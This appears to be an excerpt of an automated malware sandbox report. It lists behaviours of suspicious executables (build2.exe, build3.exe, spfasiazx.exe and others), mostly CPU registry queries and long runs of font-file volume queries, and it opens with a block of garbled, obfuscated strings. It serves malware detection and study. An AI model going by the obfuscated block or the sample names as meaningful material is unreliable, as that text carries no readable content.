p1fe7 l2he9fa2 aera7po3cl7 q2li6 febo1tr5dr2the v3re3fl2 h1pr2po6de2sk5po0peedi2an1 b3 t4 c2re9 m3 i6 s2fa5me0 idek2pr5um3ba4ob2af8di2 cfor2un4mo3 f3ge' h;to`$nes ooafgaun tecafbuoutg wedadteechr anometh2de= rv kavirfu5ga3el ca'cu0fj7br2pe5in3st4di1un0ph3te2kn2fofun2 b3dy0sc1gr2sp4al2ou4fd3un2 w2 t5ah3le3pa3 b3me'ko;la`$thsecoungovnpaelyfsiocogudeund pesaramnnaeje3gi=kuvbyakor v5st3ar d'ke1ej3ho3 m9 l3 b3kr3to4br2ra5sl2rsdko6mae f1ro2bl3tv5 d2soe g3 a4de2re9id2redka2be5in6oeeva0 t9un2skere3sm4am2bu5su3st2ol2adfra3ly0re1 i3ga2et5fa3ya2 n3co6ba2 a9me2sk3ri2 r5fe3gr3 p6beevr0to8er2un1pr2ceeso2in4ef2jacma2gu5 o1sa2qu2sm5th2de6mo'va; p`$tusmaoptgapnmeehjf ro bgpieosdsle eraknlge f4fi= mvopaecrsc5an3zo hu' s3or3ra3un4 h3ti2il2fr9 t2fnein2

Source: C:\Users\user\Desktop\a\build3.exe

Code function: 11_2_00D3DE96 cpuid

11_2_00D3DE96

Source: C:\Users\user\Desktop\a\buildz.exe

Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,

31_2_026B0AB6

Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Queries volume information: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Users\user\Desktop\a\spfasiazx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
